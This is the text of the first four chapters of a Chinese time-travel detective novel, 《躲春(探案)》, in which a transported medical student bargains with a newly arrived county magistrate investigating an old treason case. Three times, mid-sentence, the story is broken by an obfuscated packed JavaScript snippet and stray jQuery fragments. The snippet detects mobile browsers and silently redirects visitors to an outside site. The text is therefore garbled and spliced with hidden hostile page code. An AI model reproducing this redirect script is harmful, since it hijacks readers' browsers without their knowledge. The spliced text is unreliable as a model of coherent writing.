《躲春(探案)》
1. 穿越即被追杀
素日寂静的山头突然惊起一群飞鸟。
天色晦暗,湿气遮住了全部的日光,混沌不堪。
这个季节的竹林不如兰时来的苍翠,更是添了几分肃杀,方才那阵鸟唳过后,有些枯败的叶片随风婆娑掉落,很快又恢复沉寂。
然而不过片刻,林子深处隐隐地又有乱风穿林打叶之声,竹叶抖落越发的疾,挟起一阵枯枝烂叶的腐败气息,以及几丝难以捕获的腥锈味。
蓦地,自林中慌慌张张跑出一个女子。
少女看着约莫十八九岁,却不见这个年纪少女应有的淑雅持重,她跑得钗横鬓乱,臂上挎着的篮子随着一路颠簸,内盛之物也已所剩无几,只零散地躺着几株草药。
若是顺着她时不时回头的紧张目光看去,便会知晓她何以这般惊惧。
篁竹之上,赫然有个身着月白锦袍的剑客踏叶追来。
他轻功应是不错,只用足尖在枝头轻轻一点,便可在林间跳窜。
来人似乎并不着急,看着亦步亦趋,实则不紧不慢,还有工夫斜倚在竹枝上假寐一会。若是在旁人看来,当是那剑客在等女子追上他,而非是女子在奔逃,滑稽得很。
“小妹妹,我们现在真的只是想找你问些事情,暂时还不急着杀你,你何苦要逃呢?”剑客双手抱胸叹了口气。
“咻——”
猝然,不知从何处飞来一片竹叶,倏如飞刀,若是划破脖颈,只消弹指,便可取人性命。
但泛黄的叶片只在女子的脸侧划过一道血红,分外扎眼。她被惊到,却是不敢停下脚步。
树上的那人对此却好像颇为不满,“啧”了一声,似是失了兴致,懒洋洋地从高处跃下,拂了拂衣袖上的尘土,慢悠悠地跟在少女的身后。
“唐弃,跟你说了多少次了要怜香惜玉,怎么还是改不了这个臭毛病,妹妹都破相了知道吗!”
少女还想再往前逃,怎料岔路口闪出一名黑衣男子,迎面将她拦下。
“我只管杀人。”被唤作唐弃的男子神色冷淡,掏出短刀抵在她颈间。
这时剑客也已赶上了他们,很恨铁不成钢地指着他,却也只能作罢。
“妹妹,不必害怕,我们找你打听点事。”
“八年前,那位与藩王勾结谋反的茶马御史,妹妹可认得?
她嘴唇嗫嚅,说不出话。
“那你可知,你父母和他有旧情啊?”
少女刚才被吓得已瘫坐在地上,听剑客问这话眼底更是添了几分惊疑,仍是不住地向后退去。
剑客伸出手意欲扶她,却被黑衣男止了动作。
他不动声色地绕到少女背后,“她现在太不冷静,还是打晕了拖回去带给大人审问。”
女子闻言发觉不对,刚想起身,只觉一记掌风袭来迅疾劈在她颈后,之后便失去意识。
浓云压顶,天边一片墨色,一场骤雨正在酝酿。
安靖十六年春,宸国三皇子赵允登基,改元元定。
新帝掌权后,很快将先帝时因动乱而四分五裂的疆土收复,并分九州一十五道,郡县百之又三,尤设剑南道,以此开百年来与西陵国通商之禁。
浔山是剑南最偏僻的一个小城,虽说偏僻,却不是穷山恶水,一山四季的峰峦为小城作了天然屏障,山上竹林似千里烟波,山下又有最碧蓝晶莹的雪泽湖,美丽而孤傲地萦绕小城千载,滋养出中原最润绿醇厚的茶叶。
世人常言“一入浔山不思还”,说的便是这浔山县。
许是自古远离战乱的原因,城上的百姓也一直过得很安逸,多是以采桑缫丝或种茶伐竹为业。是以李含璋竟不知,并非穷山恶水,也能出刁民。
“你跑什么。”
眼前的少年眸光温澈,蹙着眉极为不解地盯着她。
“开什么玩笑,你们抓我,还不让我跑了?”
“而且——”
“而且你都这样了!”
她仰头指着自己的脖颈,那里横着一把通体寒光的利剑。
少年闻言,更是将剑逼近了几分,很是意味不明地扯了扯嘴角,“姑娘若不逃,我又怎会如此。”
这人竟是无理也要辩三分!李含璋鼻子都要被气歪了。
要说事情是如何演变到现在这般田地的,还得从她穿越前开始说起。
没错,她穿越了,穿越当天她还是个为了攒学分在周末还勤勤恳恳跟着导师在医院出诊的中医学生,结果晚上回学校走到半路却被一个跟踪狂盯上,她察觉到动静时也为时已晚,歹徒已经眼疾手快一棍子打晕了她。
再一醒来,她便到了这。
醒来时天已大亮了,周围堆满了柴火,码得整整齐齐几乎要堆到房顶,看起来是个柴房。
李含璋想挪动身子,谁料她一动后脑勺就仍疼得要命,她都怀疑有人趁她昏迷拿螺丝刀把她脑袋给撬开了,连着肩颈一起都痛得不得安宁。
扶着墙挣扎了半天,李含璋终于顶着她那嗡嗡作响的头站了起来。
她环顾四周,整间柴房只有一扇极狭的窗子,天光从瓦缝中钻进来被割成极薄的光纱,是以整间屋子虽有光却无亮。
不过门看着倒是不怎么牢固,指不定还没上锁。
她正想去门那找找突破口,却冷不防被绊了一跤,借着光线低头一看,是裙子太长被她踩在了脚底。
裙子?!
刚刚光线暗没注意,现在凑在窗边,她才看清自己身上穿着的是条水蓝色的麻料裙裾,制式和布料都很古朴,再一摸头,原本的马尾也已被束起的发髻和青玉笄取而代之。
她一愣,猝不及防地,几段明显不属于她的记忆挤进了她的脑海,然而和她本身的记忆混杂在一起太过杂乱无序,她理了好一会才接受了自己已经穿越的事实。
她这副身体,原是有主人的,名叫李长川,原主也是个可怜的小姑娘一枚,今天好端端的上山采药,不知怎么的就被那俩人盯上了,逃跑不成又被人打晕捆走,羞愤之下,原主一醒来就撞墙自尽了。
怪不得她的头那么疼呢……就像被八个电钻钻了一样!
李含璋摸摸脑门上像是自动痊愈的伤口,又看了看墙上挂着尚且欲凝未干的血迹,叹了口气。
古时女子最看重的无外乎清誉二字,小姑娘怕被歹人玷污,倒不如在此之前自我了断,还能保得个清白之身,所以寻了死。
她是个可怜人,不明不白的,就这么没了。
不过她可不想寻死,也不想穿越,怎么说也得找个办法回去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075998|163377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
但她穿越的契机是什么?量子纠缠,还是虫洞?她又该怎么回到她本来的世界?是要完成某个任务,又或许……要一直等到死亡?这和小说里写的也不一样啊,为什么都不给她配个系统,起码来告诉她要完成什么任务也好啊!
“唉!”李含璋长叹一声,想办法回到现代还为时尚早,眼下最要紧的是,她的小命都岌岌可危。
李含璋看向门口的方向,这窗子虽狭,但却不高,她刚好可以趴在窗台上看到外面的景象。
这么一看果然有两人守在门口,一个身着月白,另一个身着玄青,如果原主记忆没错的话,这应该和追杀她的是同样的两人。
那风流公子哥好像说过“暂时不急着杀你”,那说到底不还是要杀嘛!而且那个叫唐弃的黑衣男一看就不好惹,随时随地都能刀了她的那种。
所以首要之义还是得先从这个柴房溜出去,逃出这二人的魔爪再说。
“砰!”
屋内不知何故传来一声巨响,似有重物落地,门口守着的两人随即警觉地交换了一个眼神,转身流利地打开锁,迅速推门而入。
“谁!”两人拔剑四顾,大喝道。
二人初将李含璋带来时并未绑她,而此时她却是被捆住了手脚,嘴里也被塞了一团破布,只能发出呜呜的呼救声。
李含璋记得那个白衣公子哥好像格外心软些,特意朝他那多呜了几声。
公子哥当然舍不得看她这样,没顾一旁唐弃的阻拦便将剑收回剑鞘,急急上前替她松绑,“谁给你绑成这样的?”
口中的堵塞物刚被取出,李含璋就哇的一声哭了出来。
“刚刚......刚刚有个黑衣蒙面人突然从柴堆里跳出来把我绑了,然后就跃上房顶逃走了!一定是想要加害于我!求您了大人,让我走吧!”
二人有所察觉,迅速相视一眼,唐弃便飞身出去,一眨眼便没了踪影。
公子哥在门边确认唐弃已经走远,忙近跟前道,“没事吧小妹妹?”
这倒是提醒她了,她差点把眼泪憋回去了。李含璋赶紧又挤出几滴眼泪来,用袖子半掩着面啜泣:“大人,这柴房又冷又湿,还有歹人作祟,小女上有八十岁老母,下有......咳咳,求您饶了我吧!”
公子哥很是不忍地转身不看她,“姑娘,你好生待在这,只要问出了我们大人想知道的,定不能苛待——呃!”
李含璋早就挑好了根趁手的木棍,趁公子哥转身,忙挣开所有绳索,在他颈后照原样给他来了一记,眼睁睁看着他倒下前艰难而又震惊地侧过头来,用那种“你怎么能骗我”的哀莫大于心死的表情看她。
李含璋颇为得意地笑道:“轻敌了吧!醒来好好想想怎么向你们大人赔罪!”她穿越前好歹也是学中医的,虽然正经知识不爱进脑子,但偷袭防身之术她倒是乐得一学,因此人体三十六个致命穴位她早就烂熟于心。
“哎呀,幸好是你留下,不然另外那个还真是不好对付。”李含璋笑眯眯地,朝靠着墙慢慢滑下的公子哥道,顺便用那块破布给他盖了盖肚脐眼。
“睡觉的时候气海穴得盖好,别着凉了哈。”
趁现在赶紧开溜!李含璋确认唐弃也已经走远,夺门而逃。
2. 初遇
李含璋本想逃出来后往闹市走走,人多的地方不光好隐蔽,想打听点什么事儿也能轻松点。
可没承想她出了院子后越走越感觉不对劲,别说集市了,这房屋建在山上,周边连个挨着的房子都没有,只有成片成片的竹海。
这座院子建造的位置倒是奇特,李含璋若有所思。
不止院子,刚刚那两个杀手也让她百思莫解,不图财不图色,只是图财好色倒好办了,怕就怕他们从她身上有利所谋,谋完就杀人灭口那种。也不知这小姑娘身上到底藏着什么秘密,不仅害自己没了命,还让她此刻都不得不四处奔逃,否则按剧情的一般走向来说,她早变成炮灰了。
她所处之地,四面都是竹子,还弥漫着清晨未散尽的雾,昨夜又下过了雨,现在连日头也没有,更难判断方位了。辨不清方向,搜寻原主的记忆也是无果,李长川从来都只在山的另一面采药,并未翻越过山头,所以对山这头的地形也是不清楚的。
正一筹莫展之际,李含璋注意到脚下有一串泥印,便蹲下捻了一指细看。
山上天寒,即便已经早春,地上还是有未融化的积雪,这点泥印在满目雪白里便显得突兀。
“马蹄印?”
有了,李含璋抿唇笑。
午时,注水溪边。
马蹄印将她引至一条溪边便没了踪迹,李含璋有些为难,照理说能骑马,说明来路必能出山通往大路,只要跟着这马蹄印走,天黑之前走出山应当不成问题,可现在莫非真要她趟水过河?
她拣了块鹅卵石投石入湖,问了问深浅,河倒是解冻了,水还是刺骨的冷。
“应该不深……吧?”总不能把她淹死吧?如果是踏马入河,那这深度可能最多也就半人高,她游泳还行,大概没事,她暗自鼓劲。
李含璋下定了决心,弓起身子便要跳入水中,却听得一阵凄厉的马嘶声由远及近传来。
“吁——”
山坳上,一匹通体黝黑的良骏黑马驰骋而来,所经之处卷起滚滚扬雪,飒踏如风,虽为黑马,但尾鬃一缕却是恣意的白,张扬得过分。
马上少年虚坐于鞍,身子前倾,一袭轻裘披风在朔风中猎猎作响,他单手执缰,却并不使马鞭,只用双腿夹紧马腹,另一手持剑,剑未出鞘,却划破他身后终日不散的山雾,使得天光乍泄。
李含璋还来不及回头,便被马嘶惊得失去重心,眼看着就要栽进水里,一股沉稳之力突然接住了她。
原来是那少年从尚在奔跑的马上飞身而下,迅疾救下了她,待她反应过来,那黑马已经悠闲地在原地尥着蹶子打转。
她惊魂甫定,“好险...”面前就是湍流的溪水,幸好没摔下去,不然面朝下也不知道会不会破相。
她再低头,便看见一只手臂环过她的腰间,微拳着手将她半揽在怀。
这个姿势是不是有点奇怪...李含璋这样想着,有点嫌恶自己似的赶紧稳住平衡,面对那手的主人,轻轻颔首,“多谢公子相救,咳咳...”
头顶传来一声哼笑,她诧异地抬头,瞬间愣住了。
少年人马尾高高束起,露了大半个额头,只剩几簇跑乱的碎发被薄汗打湿在额前,眉清目朗,鼻梁高挺,他嘴角向下拢着,但也掩不住好整以暇的谑笑。
李含璋慌乱间和他对视,觉得他眸子尤其温澈,深潭般空明澄澈,却波澜不兴,真是一双含情眼。
不过他看着很眼熟,她突然觉得他很像是现实中在校医院她诊过的哪位病人,具体是谁却想不起来了。
“公子,我们是不是在哪见过?”好俗的搭讪方式啊!李含璋在心里无声呐喊。
“见过?”
“呵。”果不其然,少年嗤笑一声,下一秒却反手将她按在旁边的树上,拔剑出鞘压向她的脖子,于是便有了那幕。
“姑娘如果不逃,现在应当在我后院的柴房里见过我。”
要命!居然还是来杀她的。
李含璋上下打量,想必这就是白衣公子哥口中的“我家大人”了。
但李含璋还是抱着侥幸之心,一只手慢慢往上攀,搭上了那把随时能要了她命的利剑,一手试探着去摸少年的额头。
“你,你真没病?”
明明她才是被威胁的那一个,那少年却一副见了鬼的模样,往后躲了好几下,好像被她占了多大便宜一样。
“你才有病!”他拍开了李含璋的手。
李含璋顺势把他的剑往下带,赔上笑脸道:
“那大概是我认错人了公子。”
“公子...您看这,我也不知哪里冲撞了您,竟劳动您大费周章地将我抓来,我一介弱女子,人生地不熟的,要不您行行好?手下留情?你要多少钱都可以!”
少年没能让她把剑按下来,反而逼得更紧,“连路都不认识?那你往哪跑?”
李含璋侧过头去,咬牙道,“车到山前必有路...”
“湜一!”“大人!”
这么一会子工夫,先前的那俩黑白双煞竟也追了过来。
真是祸不单行,人都给得罪遍了,这下好了,寻仇的来了,还来了三个!
“诶小妹妹你也在!”公子哥揉着后颈看过来,先是欣喜,接着神色便有些复杂,“湜一,你抓住她了?”
“废话。”少年像是懒得与他多说,冷冷地丢下一句。
倒是李含璋挤出个笑来,应付着公子哥,“嘿嘿,小哥你也来了,好巧啊。”
跟在公子哥后面的唐弃倒是想说些什么,不过被少年抢了先。
“姑娘方才说自己是——一介弱女子?”
“可就是你这样一个弱女子,使了一招调虎离山,支走了我的侍卫,还打晕了我的随从啊。”
李含璋觉得他这人奇怪得很,听人说话总是不抓重点,反而是就着几个不起眼的细节死抠。
“喂裴湜一!谁是你随从啊!我...”公子哥还想再说,却已被唐弃捂住了嘴。
“姑娘明明聪敏奸诈,倒是惯爱装柔弱?”李含璋听他的语气,觉出几丝愠恼来。
“听闻令尊的重莲布庄生意红火,每日宾客盈门,新知旧友更是往来不绝,不知若有日,他二人与那位犯上作乱的故交江御史的关系被揭穿,姑娘对簿公堂之时,是否还能如今日一般冷静啊?”
他字字威胁,句句紧逼,李含璋此刻也是真犯了怵,“大人您听我解释...”
“我最后再问你一遍,八年前你父母亲和茶马御史,私下有何往来?”
怎么又是这个茶马御史?!李含璋在脑子里飞速搜索原主的记忆,茶马司不过是当地专掌与西域茶马交易的组织,而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075999|163377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原主的父母确实只经营着一家布庄,实在是八竿子打不着的关系。
但现在刀都递到脖子边了,她再矢口否认就只有死路一条。
“有!有有。”
少年瞳孔骤然放大,直勾勾地紧盯着她,“细说!”
李含璋压低声音道,“我在家中时,时常看见爹娘与茶马司的人私相授受,想来,应当是贿赂了其中的官员。”
她说得认真,可少年还是怀疑,“你可有证据?”
“物证倒是没有,但您要人证的话...”李含璋鬼鬼祟祟地凑近他道,“您需要我说什么,我保证一字不落说出来,怎么样?”
少年先是愣住,突然没来由地笑了,继而后撤两步,将剑扔给公子哥,“既如此,杀了吧。”
“杀了?!”公子哥抱着剑,犹疑地不敢上前。“湜一,你认真的?不妨再问问啊,说不定她只是不肯说罢了!”
“为了自己活命能诋毁自己生身父母的人,你觉得她像是有秘密么。”
少年很鄙夷地斜睨了她一眼,李含璋有些无语,先前还说他含情眼呢,她竟不知含情眼也能给出这么无情的眼神。
“杀!”
他双手抱臂站在旁边,一副置之度外的样子,好像下令让杀人的不是他一般。
公子哥不忍地举起剑,眼睛却盯着那少年,好似随时期待着他能反悔。
眼看着剑就要落下,李含璋脖子一缩,眼睛一闭,心道这把豁出去了,“大人您屠杀无辜之人,可是清官所为?若有朝一日传出去,就不怕被百姓唾弃吗!”
少年抬了抬手,示意公子哥停下,走近前颇有兴致地盯着她,“你怎么知道我是为官之人?”
“说说看,说对了我或许可以考虑留你一命。”
本来只是个猜测,看来还给她蒙对了,事已至此,她也只好硬着头皮瞎讲。
“我逃出来时,看见大人的院子虽装饰简单,但是用材却高端大气,且剑南多山,多地动,所以人们通常在平原或两山之间的山谷建造房屋,而您却在山上,还是背阴面选址,可见不是常住。那么目的,便是为了短时间掩人耳目。”
“若说您是商人,怕别人觊觎财物,可您院中并无货物囤积,也不见马车停靠;若说您是文士,隐居在此准备春闱,可您武艺又远超出君子六艺之上;若说您是农人...”
李含璋飞快地瞟了一眼他,小声道,“哪会有这么白嫩好看的农人呀。”
眼见少年脸色微变,李含璋赶紧继续道,“其实还是您的气质更为不凡!还有...”
“还有什么?”
“您的马,应该是官马吧,我看过马蹄印,应当用的是官家专用的马蹄铁。”
“呵。”他又笑了,他一笑就准没好事,李含璋觉得怪瘆得慌,“你懂的还挺多。”
其实不是她懂得多,说到底她还得多谢原主的记忆,这些在古人眼里都是常识,只是她观察得要比常人都细致罢了。
“不过你说错了一点,马蹄铁虽是官家的马蹄铁,但我的马,不是官马。”
少年勾勾唇,“况且按你这么说,本官的身份都让你知道了,我不是更得杀人灭口了?”
“悬音,动手!”
他命令一下,曲悬音不敢不听,咬咬牙扬起剑便真的向李含璋挥来!
3. 大义灭亲 “等一下!”
“等一下!”
李含璋以手作挡,看着那柄悬在自己头顶的剑,此时只有咫尺之隔,笑道,“等等,悬......音公子是吧,有话好好说。”
她小心翼翼地偏头,离那骇人的剑远一点,随即清了清嗓子,好让自己的声音听起来稍微有些中气。
“大人,您要查什么案子,民女无能,但也愿倾囊相助!”
少年方才还在一边冷眼旁观,听闻这句话,登时笑起来,好像那阴鸷的神情从不曾在他面上出现过一样。
“不装了?”
他一步步走近,期间目光从未离开过她,李含璋尽管害怕地向后瑟缩,可还是道:
“刚才的话我还没说完,平白无故的,大人何故要掩人耳目?再者,大人如果真想杀我,何必兜这么大的圈子?”
“所以民女大胆猜测,您是碰上了什么棘手的案子,碍于种种原因不能光明正大调查,让您不得不暂时委身于此暗中查案,而您找上我也是别无他法。”
“刚刚您步步紧逼,是否也只是因为,在这场交易里,我没给出您满意的筹码罢了!”
最后一语落毕,少年恰好停在她面前。
“你凭什么和我谈合作。”
“大人方才还说我聪明。”
“聪明人比比皆是,我难道都要用他们。”
李含璋深吸一口气,本来不想把自己卷太深,没想到最终还是要淌这趟浑水了。
“大人,您问我的那些,我当真是不知道。”
“但我可以帮您查啊!我做您的线人,我这个身份大概没人比我更合适吧。”
少年挑眉,嘴角抽动,“你认真的?”随后轻蔑地乜她,“我果真是没看错你。”
“先前我还真未想到这一层,不过现在——”
他有意将“看错”二字咬得重些,李含璋却不害臊,趁着他松口,试探道,“所以您同意...”
“你当我和那小子一样傻吗?”少年突然低声喝道。
李含璋被他吓了一跳,“民女明白您的顾虑,无非就是觉得,既是骨肉血亲,我肯定会跟我爹娘通风报信。”
“不瞒您说,民女出生时,算命先生就说我命里克父克母。我爹娘本就苦于没能有个儿子,便成日对我又打又骂,亏得我命硬才扛了下来。现在我到了出嫁的年纪,他们也不顾我是否情愿,就急着把我送出去攀附权贵,前几日刚许下了县丞家的傻儿子。”
李含璋垂着头,不安地绞着自己的手指,很是楚楚可怜的样子。
“所以若能查出来他们有什么罪名,那自然再好不过,这样我也好早日摆脱这个家。”
“我帮您查案,您放我自由,我们各取所需有何不好?虽说能查个水落石出是瞎话,但大差不离倒是不难呐!”
一揽子话说完,心软的如曲悬音已经偷偷抹起了眼泪,就连唐弃也面露不忍。而那少年却盯了她许久,不知在想些什么,随即眸色陡沉,眼睛眯成一条缝,抿唇道,“如此说来,你的话——倒真有几分可信?”
卖惨这一套果然不管什么时候都好用,李含璋大喜,刚松了一口气,“这是自然!那么......”却听他继续道:
“我相信姑娘,也确实需要你的帮助,但姑娘也得拿出你的诚意,每日辰时三刻,你须得准时出现在我面前,这样的条件可能接受?”
辰时三刻在现代是几点?她没空细想便忙点头应下了。
唐弃很有眼力见,看事情落定,便从还傻站着的曲悬音手上一把拿过剑,重新递回少年手上。
“县衙那边怎么样了。”
唐弃走近道,“如您所料,这两日的苍蝇蚊子确实不少,但都没有异动,倒是...”
“什么?”
唐弃抬手与他耳语,“我们的人来报,城东出了件古怪的案子,至今未破,尸体都放臭了,急着请大人出面定夺。”
少年神色微动,转身一跃便上了马,李含璋这才想起问他明日是否还在此处相见。
“不。”
“城北县衙,这个地方姑娘可还认识?”
他又挂上了他那标志的皮笑肉不笑的笑,李含璋却只觉得浑身打冷颤。
她真佩服自己的运气,刚穿越就惹了一方父母官。
“原来是县令大人,久仰久仰。”李含璋抬手作揖。
“大人昨日才到任。”唐弃朝她嗤鼻。
“如此,幸会幸会。”
少年轻笑,调转马头,却又被李含璋叫住。
“大人,我不认路,是不是涉过这小溪便可下山了?”
他有些不耐地朝她伸出手,李含璋不解,这是?
“上马来。”
他既已答应合作,想来也不会食言而肥,现成的坐骑不要白不要,李含璋便放心爬上了马。
少年只是拍了拍马腹,那马便听话地跑了起来,李含璋问他,“大人,水路不能走么,我看溪水并不深。”
“溪水刚解冻,是水最寒最急的时候,你还没来得及淹死就被冻死了。”他显然不愿与她多费口舌。
“噢...”
“诶小妹妹!”公子哥他二人本落在后面,这时也赶了上来。
“初见面时多有冒犯,不过这都怪裴湜一,是他指使我们下重手的!”
他咧嘴笑道,“自我介绍一下,我叫曲弦,字悬音,你唤我悬音便可。”
“我叫李——李长川。”
从此,她便叫李长川了。
“我的名字,你们应该早都知道了吧。”
曲悬音嘿嘿一声没否认,李长川也友好地笑笑,又看向身前的少年,他背对着她,并未察觉她的视线。
“听你喊你家大人裴十一,是他在家中排行十一吗?”
曲悬音仰天大笑,说李长川是不知第几个这样说的人。
“浊浊波涛江汉里,忽见清流如此,泾以渭浊,其沚亦湜也。”
“他呢,字湜一,名——”他话还没说完,被少年飞来一记眼刀,割得他心凉。
“如晦。”
要他说,裴如晦未免过分谨慎了,世人皆知,当朝户部尚书裴世忠的独子裴如晦不仅相貌堂堂,还是有名的神童才子,也就浔山县这样偏僻的地方消息闭塞,不曾听说过罢了。
且大宸国御史笔下的民间列传,至今仍记载着他裴湜一五岁能吟诗词,八岁能作文章,而就在众人以为他不日便可登科及第时,他却兀然释卷,跑去大理寺,跟着学起了捕快活计的惊天奇闻。
此事在当年也可谓是轰动京城,彼时人们口口相传着“文而抱璧暗投,武则藏器不群”,这前半句,说的便是裴如晦当年匪夷所思的举动。
“裴如晦......”曲悬音说的那通文邹邹的话李长川一个字也没对上号,虽然还是不知道他的“十一”到底是哪个字,不过还都挺好听。
曲悬音冲前面人歉然颔首,随即岔开话题,“哦对,长川妹妹,方才你的那番话是何意?是说裴湜一那家伙本来就没想杀你?你是怎么看出来的?”
曲悬音驱马进前,凑近李长川如连珠炮似的不停问道。
李长川正在马背上颠得有些难受,脑子也不大清醒,纠结先回答他哪个问题时,裴如晦蓦地侧头意有所指地笑道,“悬音啊,怪不得你能叫一个姑娘打晕呢。”
“什,什么意思?”
“呵。”裴如晦轻笑,随即夹紧马腹,扬长而去了。
在李家院前将马勒停之后,裴如晦莫名地看着身后晕头转向的李长川,奇怪道至于么,李长川很想回怼他,然而迫于县令洪威,她也只好一声不吭地爬下马。
“莫要忘了约定。”
“是...每日辰时三刻去见您,裴大人走好。”
李长川“目送”裴如晦彻底消失在她的视野后,才敢放心转身走进院子,却见自己的侍女翠羽早早迎在了院门口。
“小姐您终于回来了,老爷和夫人到处寻您都寻不到,奴婢都快急死了!”翠羽皱着小脸,看着马上就要哭出来。
李长川抬手轻拍她的肩,安慰道,“好啦,我这不是回来了吗。”
“夫人吩咐奴婢留下看家,您再不回来,奴婢真要去报官了!您今日到底去哪了,又为何与那个凶神恶煞的男子同乘一匹马啊?小姐不可这样一整天都不归家的,若再有一回这样的事,奴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076000|163377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
婢只好以死谢罪了!”
言语间,小姑娘已经落了几串泪珠,李长川最见不得人哭,抬手就要给她擦泪,“我不是好端端站在你面前嘛,今日我......”
“对了!还未禀告老爷夫人,他们此时定还心急着呢,我这就去寻他们回来!”还没等她将话说完,翠羽就胡乱地用袖子擦擦泪,转身跑出院外。
这丫头……也不知是谁更心急。李长川无奈地笑,不过她形容裴如晦“凶神恶煞”倒是很贴切。
此时,凶神恶煞的男人裴如晦正在城郊义庄,眉头禁蹙盯着往生台上一具淋漓可怖的尸体。尸体身中数刀,每刀都深可见骨,甚至有几处伤口贯穿了整个身体。
“太爷,喝口茶吧。”旁边的小吏递上一杯茶。
裴如晦瞥了他一眼,并未伸手去接,转而问道,“尸身送来多久了?”
“有三五日了。”小吏将茶放回盘中,“抬回来时便有些腐坏,义庄的冰又不够多,再加上这几日潮湿,味道散得就更厉害些。”
“三五日...”裴如晦挑眉,“这么久都不曾贴寻人告示,也未找过仵作验尸?”
“顾大人说此事不宜声张,重则会引起百姓恐慌,就只是停在这义庄,想着会有家人来报官寻人的。至于仵作……本县的命案少,要么就是普通的斗殴致死,杀人者或被当场抓住,或投案自首。因此自上一任老仵作离世后,顾大人也说,官府不必再请仵作了,免得劳民伤财。”
“顾大人说?”
顾万缗是浔山县的县丞,裴如晦到任前全县大小事宜皆是他暂管,“原是我狭隘了,未曾想顾县丞竟如此思虑周到。”裴如晦微笑。
小吏听出话里意思,慌乱欠身道,“小的们并非有意隐瞒,只是太爷方才就任,这几日又闭门不出,这才...”
“你想多了。”裴如晦挥挥手,很是大方,“你刚刚说,康二公子看见马身人面神显像,还亲手杀死了一人?”
“啊!是。”小吏惊魂未定。
这月廿三康家管事的来报,他家那病秧子二公子康绥自两日前下山后便疯魔了一般,不但几日来高烧不退,病中迷迷糊糊的,还说着什么“英招显像,天罚神判”!
浔山县自先秦起便信奉上神英招,历年来,所有人家每逢立春必要上香祭祀,如此浔山县方能得神仙百年庇佑,如今又怎会降下天罚?更何况,本县已有近十年未出过命案,这样的歪谈鬼才会信!
因此原本前堂的捕快们自然也是不信的,只当是他病糊涂了说的胡话,可顾万缗秉着例行公事,命人上竹茗山探查一番后,竟真在注水溪边发现了这具尸体。
“不过这也只是康二公子一人所言,而且他如今言语癫狂,想来也不可信,因此——顾大人的意思是,这案子便以死者意外溺水结案了罢。”
自他开始讲述案件始末后,裴如晦便没开口说过话,小吏看他眼色,小心翼翼道,“太爷若是觉得看着碍眼,便出去透透气?”
“唔。”裴如晦懒得再管这事,转身便要出门。
“欸!”都说新官上任三把火,没想到这位爷却真就撒手不管了,小吏急急地追出来,“太爷好不容易露面,不如晚上便赏脸和大家伙吃顿饭,顾大人早早便备下宴席,就当给您接风洗尘了。”
裴如晦回头,面色难看地捂着胸口,夸张道:“这死人这么恶心,是你你还吃得下喝得下?”
裴如晦踏出义庄,随行的二人也跟了上来,唐弃问道,“大人,怎么样?”
他拿帕子擦了擦手,“看来浔山县如今已是顾万缗的一言堂了。”
曲悬音闻言讶异,四顾无人后道:“湜一,他们试探你了?”
裴如晦摇摇头,“蠢到不能说是试探,心眼儿都快贴到我脸上了。”
“扑哧——”曲悬音忍俊不禁。
裴如晦回过身,正色道,“尸体肯定有问题,但事实也定不如康家所言那般离奇,这案子得查。”
唐弃道,“是,属下这就去办,不会走漏风声。”
“不,让悬音去。”裴如晦按住他,“我有更重要的事交代你。”
“你去帮我重查八年前的那个案子。”
4. 疑团
李长川回到家不久就为自己胡诹的瞎话感到愧疚了。
当自己的手霍然被李父李母一人一只攥在掌心时,她着实吓了一跳。
“长川,怎么采个药这么晚才回来?”齐英眉间尽显担忧,她后怕地朝女儿身后张望。
“翠羽说送你回来的是个形容猥琐的男人,你这孩子,你怎知他是不是歹人就跟他走了?他对你做什么没有?”
这怎么又变成形容猥琐了……李长川在心里暗笑,“路上耽搁了点,娘,那位是新任县令裴如晦,您不曾听说吗?”李长川尽量表现得亲昵,牵起齐英的手往屋内走。
“裴如晦?”齐英和李徽微微一怔,相视一眼后神色古怪,随即一向疼爱女儿的李徽厉色道,“不管他县令不县令,以后切莫同这种来路不明的男人单独相处!”
李长川耐心解释,自己只是采药时摔了一跤,裴如晦碰巧路过,好心将自己送回来,只字未提二人之间达成的约定和裴如晦的“死亡威胁”。尽管如此,齐英和李徽还是叮嘱了数遍,直到她保证再不会与裴如晦有牵扯才放她回房。
李父李母虽然唠叨,关心却是真心实意的,转念想到她才与裴如晦信口开河过的那些谎话,李长川不免心虚。
话说回来,她怵裴如晦是情有可原,但齐英和李徽的反应却实在有些过激。或许,他们与裴如晦和他口中的茶马御史真有什么难以言说的关系?
八年前,茶马司……这之中究竟发生了什么?
李长川安稳了十六年的人生,被这个阴晴不定的男人骤然闯入,如暴雨来临前的微风,起初只是吹皱湖水,无人察觉,末了,或有决河之倾。
